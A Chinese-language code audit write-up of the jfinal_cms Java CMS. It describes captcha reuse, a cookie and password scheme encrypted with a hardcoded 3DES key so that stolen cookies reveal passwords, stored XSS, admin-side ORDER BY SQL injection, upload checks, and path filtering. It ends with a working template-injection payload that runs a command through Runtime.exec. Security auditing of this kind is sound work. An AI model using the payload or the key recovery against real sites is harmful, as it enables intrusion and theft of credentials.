jfinalcms代码审计

25

环境搭建

  • mysql创建好数据库
  • jfinal_cms/src/main/resources/conf/db.properties配置好数据库用户名密码等信息
  • idea设置好maven,根据报错删除重复的依赖

image-1699759116053

代码审计

注册功能

生成的验证码信息是存在session中,不刷新验证码就可以重复使用,可以进行一些枚举

// 将认证码存入SESSION
request.getSession().setAttribute(ImageCode.class.getName(), sRand);

登录功能

登录成功后发现cookie多了一个字段

image-1699759127294

找到相关代码,发现是用id+','+password做一个加密作为cookie。(如果是用户名去加密就有机会越权了)

// 设置cookie,用id+password作为
SysUser sysUser = (SysUser) user;
String key = sysUser.getUserid() + "," + user.getStr("password");
String cookieContent = JFlyFoxUtils.cookieEncrypt(key);
setCookie(Attr.SESSION_NAME, cookieContent, 7 * 24 * 60 * 60);

不过还是来看一眼加密流程,flyoffox的md5为 47a60034d66ad03215198ee78b032a59,计算出来的key就是47a60034d66ad03215198ee78b032a5947a60034d66ad032

	//3des	
	private static byte[] iv = {1,2,3,4,5,6,7,8};

	/**
	 * 加密key为空
	 */
	public DES3Utils() {
		setkey("flyoffox");
	}
	private void setkey(String keyStr) {
		try {
			final MessageDigest md = MessageDigest.getInstance("md5");
	    	final byte[] digestOfPassword = md.digest(keyStr
	    			.getBytes("utf-8"));
	    	final byte[] keyBytes = Arrays.copyOf(digestOfPassword, 24);
	    	for (int j = 0, k = 16; j < 8;) {
	    		keyBytes[k++] = keyBytes[j++];
	    	}

	    	key = new SecretKeySpec(keyBytes, "DESede");

		} catch (Exception e) {
			throw new RuntimeException(e);
		}
	}

image-1699759214525

发现密码和cookie加密算法是一样的,所以如果能获取cookie是能解密出密码的

	public static String passwordEncrypt(String password) {
		return des.encryptString(password);
	}
	public static String cookieEncrypt(String password) {
		return des.encryptString(password);
	}

image-1699759224211

个人信息

src/main/java/com/jflyfox/modules/front/controller/PersonController.java中save方法保存时没有过滤,造成存储xss

image-1699759243616

重置密码的话SysUser user = (SysUser) getSessionUser();绑定了会话所以不能越权重置

头像地址不为空的话因为ASE_PATH没设置,所以会导致有头像显示的页面崩溃

>>10:56:51:变量未定义(VAR_NOT_DEFINED):ASE_PATH 位于39行 资源:/template/bbs/includes/userinfo.html
36|							if(isEmpty(userPic)){
37|								userPic = BASE_PATH + 'static/images/user/user.png';
38|							} else if(!strutil.startWith(userPic , 'http')) {
39|								userPic = ASE_PATH + userPic;
40|							}
41|						 %>
42|				  	  	<img id="title_pic" alt="${user.userName }头像"  width="64" height="64" 

评论功能

评论请求绑定会话、评论内容用了escapeHtml,看起来没啥问题

// 确认数据创建人和当前用户一致
TbComment test = TbComment.dao.findById(id);
if (test.getInt("create_id") != user.getUserid()) {
  json.put("msg", "不能删除他人提交数据!");
  renderJson(json.toJSONString());
  return;
}

content = StringEscapeUtils.escapeHtml(content);

素材管理

order by处采取拼接,orderBy可控

		// 排序
		String orderBy = getBaseForm().getOrderBy();
		if (StrUtils.isEmpty(orderBy)) {
			sql.append(" order by sort,id desc");
		} else {
			sql.append(" order by ").append(orderBy);
		}

跟进getOrderBy发现将两个参数拼接

	public String getOrderBy() {
		if (StrUtils.isEmpty(getOrderColumn())) {
			return "";
		}
		return " " + getOrderColumn() + " " + getOrderAsc() + " ";
	}

image-1699759257781

搜索.append(orderBy)看看有没有前台sql注入,发现都是admin或者system目录下的,也就是都是后台的

image-1699759274242

后台图片上传

com/jfinal/upload/MultipartRequest.java处有文件的一个判断,如果是jsp(x)就删除,可以想到条件竞争

	private boolean isSafeFile(UploadFile uploadFile) {
		String fileName = uploadFile.getFileName().trim().toLowerCase();
		if (fileName.endsWith(".jsp") || fileName.endsWith(".jspx")) {
			uploadFile.getFile().delete();
			return false;
		}
		return true;
	}

但是在com/jfinal/core/JFinalFilter.java处存在拦截,访问就直接404了

		if (isHandled[0] == false) {
			// 默认拒绝直接访问 jsp 文件,加固 tomcat、jetty 安全性
			if (constants.getDenyAccessJsp() && isJsp(target)) {
				com.jfinal.kit.HandlerKit.renderError404(request, response, isHandled);
				return ;
			}

模块管理

文件列表

这里对路径做了正则过滤,并且根路径为webapp。可能是因为和记一次java代码审计当中的部署方式不一样,数据库等配置文件位置不同,导致该漏洞可用性降低

image-1699759285072

    private String sanitize(String var) {
        String sanitized = var.replaceAll("\\<.*?>", "");
        sanitized = sanitized.replaceAll("http://", "");
        sanitized = sanitized.replaceAll("https://", "");
        sanitized = sanitized.replaceAll("\\.\\./", "");
        if (sanitized.indexOf("..") >= 0) {
            logger.error("[FILE]path error:" + var);
            return "";
        }

        return sanitized;
    }

模板注入

template文件夹找个文件添加payload

${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"/System/Applications/Calculator.app/Contents/MacOS/Calculator")}

image-1699759302980

Reference

记一次java代码审计

一次意外的代码审计----JfinalCMS审计